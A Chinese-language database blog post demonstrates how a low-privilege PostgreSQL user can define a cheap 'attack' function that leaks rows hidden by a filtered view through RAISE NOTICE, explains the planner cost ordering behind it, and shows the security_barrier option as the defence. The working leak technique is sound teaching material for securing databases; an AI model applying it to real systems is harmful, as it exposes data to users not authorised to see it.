PostgreSQL views privilege attack and security with security

数据库中一般可以使用视图来规避用户的访问数据的范围, 但是要注意, 即使使用了视图, 也不一定能规避访问.

例如带where条件的视图就有可能被攻击者利用执行树先执行成本低后执行成本高的规则, 使用低成本函数的raise窃取本来不应该看到的信息.

举例如下 :

创建测试表, 插入测试数据.

digoal=# create table userinfo(id int, groupid int, username text, age int, addr text, email text, phone text);
CREATE TABLE
digoal=# insert into userinfo values (1, 1, 'digoal', 1000, '杭州西湖区', 'digoal@126.com', '13999999999');
INSERT 0 1
digoal=# insert into userinfo values (2, 1, 'test', 1000, '火星', 'digoal@126.com', '11999999999');
INSERT 0 1
digoal=# insert into userinfo values (3, 1, 'test', 1000, '月球', 'digoal@126.com', '11999999999');
INSERT 0 1
digoal=# insert into userinfo values (4, 2, 'test', 1000, '土星', 'digoal@126.com', '11999999999');
INSERT 0 1

创建一个视图, 仅仅可以查看groupid=2的数据.

digoal=# create view v_userinfo as select * from userinfo where groupid =2;
CREATE VIEW

使用普通用户查看表和视图, 现在没有权限查看.

digoal=# \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> select * from userinfo;
ERROR:  permission denied for relation userinfo
digoal=> select * from v_userinfo;
ERROR:  permission denied for relation v_userinfo

分配视图的查询权限给普通用户

digoal=> \c digoal postgres
You are now connected to database "digoal" as user "postgres".
digoal=# grant select on v_userinfo to digoal;
GRANT

现在普通用户不能直接访问表, 但是可以访问视图了.

digoal=# \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> select * from userinfo ;
ERROR:  permission denied for relation userinfo

看起来普通用户只能访问groupid=2的数据.

digoal=> select * from v_userinfo ;
 id | groupid | username | age  | addr |     email      |    phone    
----+---------+----------+------+------+----------------+-------------
  4 |       2 | test     | 1000 | 土星 | digoal@126.com | 11999999999
(1 row)

但是利用以下方法, 欺骗rule, 得到不应该看到的数据.

digoal=> create or replace function attack(int,int,text,int,text,text,text) returns boolean as $$
declare
begin
  raise notice '%,%,%,%,%,%,%', $1,$2,$3,$4,$5,$6,$7;
  return true;
end;
$$ language plpgsql cost 0.00000000000000000000001;
CREATE FUNCTION
digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
NOTICE:  1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999
NOTICE:  2,1,test,1000,火星,digoal@126.com,11999999999
NOTICE:  3,1,test,1000,月球,digoal@126.com,11999999999
NOTICE:  4,2,test,1000,土星,digoal@126.com,11999999999
 id | groupid | username | age  | addr |     email      |    phone    
----+---------+----------+------+------+----------------+-------------
  4 |       2 | test     | 1000 | 土星 | digoal@126.com | 11999999999
(1 row)

从以上结果可以看到, 本来不应该看到的groupid=1的数据也被打印出来了.

而且执行计划并没有什么异样.

digoal=> explain (analyze,verbose,costs,buffers,timing) select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
NOTICE:  1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999
NOTICE:  2,1,test,1000,火星,digoal@126.com,11999999999
NOTICE:  3,1,test,1000,月球,digoal@126.com,11999999999
NOTICE:  4,2,test,1000,土星,digoal@126.com,11999999999
                                                                          QUERY PLAN                                                
                          
------------------------------------------------------------------------------------------------------------------------------------
--------------------------
 Seq Scan on public.userinfo  (cost=0.00..16.00 rows=1 width=140) (actual time=0.090..0.091 rows=1 loops=1)
   Output: userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone
   Filter: (attack(userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone) AN
D (userinfo.groupid = 2))
   Rows Removed by Filter: 3
   Buffers: shared hit=1
 Total runtime: 0.113 ms
(6 rows)

那这是为什么呢?

Every person and phone number in the phone_data table will be printed as a NOTICE, because the planner will choose to execute the inexpensive tricky function before the more expensive NOT LIKE. Even if the user is prevented from defining new functions, built-in functions can be used in similar attacks. (For example, most casting functions include their input values in the error messages they produce.)

原因是PostgreSQL在生成执行树时, 先执行成本低的再执行成本高的. 在本例就是说先执行成本低的函数attack, 再执行成本高的groupid=2;

=的成本是多少怎么看 :

=在这里是指的哪个函数呢?

digoal=> select * from pg_operator where oprname='=' and oprleft=23 and oprright=23;
 oprname | oprnamespace | oprowner | oprkind | oprcanmerge | oprcanhash | oprleft | oprright | oprresult | oprcom | oprnegate | oprc
ode | oprrest |  oprjoin  
---------+--------------+----------+---------+-------------+------------+---------+----------+-----------+--------+-----------+-----
----+---------+-----------
 =       |           11 |       10 | b       | t           | t          |      23 |       23 |        16 |     96 |       518 | int4
eq  | eqsel   | eqjoinsel
(1 row)

查看这个操作符的成本 :

digoal=> select * from pg_proc where proname='int4eq';
-[ RECORD 1 ]---+-------
proname         | int4eq
pronamespace    | 11
proowner        | 10
prolang         | 12
procost         | 1
prorows         | 0
provariadic     | 0
protransform    | -
proisagg        | f
proiswindow     | f
prosecdef       | f
proleakproof    | t
proisstrict     | t
proretset       | f
provolatile     | i
pronargs        | 2
pronargdefaults | 0
prorettype      | 16
proargtypes     | 23 23
proallargtypes  | 
proargmodes     | 
proargnames     | 
proargdefaults  | 
prosrc          | int4eq
probin          | 
proconfig       | 
proacl          |

注意成本是real类型

digoal=> \d pg_proc
         Table "pg_catalog.pg_proc"
     Column      |     Type     | Modifiers 
-----------------+--------------+-----------
 proname         | name         | not null
 pronamespace    | oid          | not null
 proowner        | oid          | not null
 prolang         | oid          | not null
 procost         | real         | not null
 prorows         | real         | not null
 provariadic     | oid          | not null
 protransform    | regproc      | not null
 proisagg        | boolean      | not null
 proiswindow     | boolean      | not null
 prosecdef       | boolean      | not null
 proleakproof    | boolean      | not null
 proisstrict     | boolean      | not null
 proretset       | boolean      | not null
 provolatile     | "char"       | not null
 pronargs        | smallint     | not null
 pronargdefaults | smallint     | not null
 prorettype      | oid          | not null
 proargtypes     | oidvector    | not null
 proallargtypes  | oid[]        | 
 proargmodes     | "char"[]     | 
 proargnames     | text[]       | 
 proargdefaults  | pg_node_tree | 
 prosrc          | text         | 
 probin          | text         | 
 proconfig       | text[]       | 
 proacl          | aclitem[]    | 
Indexes:
    "pg_proc_oid_index" UNIQUE, btree (oid)
    "pg_proc_proname_args_nsp_index" UNIQUE, btree (proname, proargtypes, pronamespace)

从以上查询可以看出本例的groupid=2中的=使用的是int4eq函数, 这个函数的cost=1;

所以只要attack函数的cost小于int4eq就肯定会被先执行.

digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
NOTICE:  1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999
NOTICE:  2,1,test,1000,火星,digoal@126.com,11999999999
NOTICE:  3,1,test,1000,月球,digoal@126.com,11999999999
NOTICE:  4,2,test,1000,土星,digoal@126.com,11999999999
-[ RECORD 1 ]------------
id       | 4
groupid  | 2
username | test
age      | 1000
addr     | 土星
email    | digoal@126.com
phone    | 11999999999

将attack的成本改为1.1, 就不会先执行了.

digoal=> create or replace function attack(int,int,text,int,text,text,text) returns boolean as $$
declare
begin
  raise notice '%,%,%,%,%,%,%', $1,$2,$3,$4,$5,$6,$7;
  return true;
end;
$$ language plpgsql cost 1.1;
CREATE FUNCTION

改成1.1后, 显然不能查看到groupid<>2的数据了.

digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
NOTICE:  4,2,test,1000,土星,digoal@126.com,11999999999
-[ RECORD 1 ]------------
id       | 4
groupid  | 2
username | test
age      | 1000
addr     | 土星
email    | digoal@126.com
phone    | 11999999999

建立安全的视图, 使用security_barrier选项 :

digoal=# create view v_userinfo_1 with(security_barrier) as select * from userinfo where id=2;
CREATE VIEW
digoal=# grant select on v_userinfo_1 to digoal;
GRANT
digoal=# \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> create or replace function attack(int,int,text,int,text,text,text) returns boolean as $$
declare
begin
  raise notice '%,%,%,%,%,%,%', $1,$2,$3,$4,$5,$6,$7;
  return true;
end;
$$ language plpgsql cost 0.1;
CREATE FUNCTION

查看非安全视图, 依旧欺骗.

digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
NOTICE:  1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999
NOTICE:  2,1,test,1000,火星,digoal@126.com,11999999999
NOTICE:  3,1,test,1000,月球,digoal@126.com,11999999999
NOTICE:  4,2,test,1000,土星,digoal@126.com,11999999999
 id | groupid | username | age  | addr |     email      |    phone    
----+---------+----------+------+------+----------------+-------------
  4 |       2 | test     | 1000 | 土星 | digoal@126.com | 11999999999
(1 row)

查看安全视图, 无法被欺骗了.

digoal=> select * from v_userinfo_1 where attack(id,groupid,username,age,addr,email,phone);
NOTICE:  2,1,test,1000,火星,digoal@126.com,11999999999
 id | groupid | username | age  | addr |     email      |    phone    
----+---------+----------+------+------+----------------+-------------
  2 |       1 | test     | 1000 | 火星 | digoal@126.com | 11999999999
(1 row)

[其他]

1. 由于使用security_barriers选项后优化器不起作用, 只走seqscan, 是个巨大缺陷, PostgreSQL 9.4将新增Row-Level-Security补丁 . 规避这个问题.

参考

http://blog.163.com/digoal@126/blog/static/163877040201362402650341/

[参考]

1. http://www.postgresql.org/docs/9.3/static/rules-privileges.html

2. http://blog.163.com/digoal@126/blog/static/163877040201362402650341/

PostgreSQL views privilege attack and security with security_barrier

热门文章

最新文章

相关课程

相关电子书

相关实验场景

推荐镜像

热门

活动广场

任务中心

开发者评测

高校计划

乘风者计划

训练营

阿里云MVP

话题

直播

下载

镜像站

技术资料

插件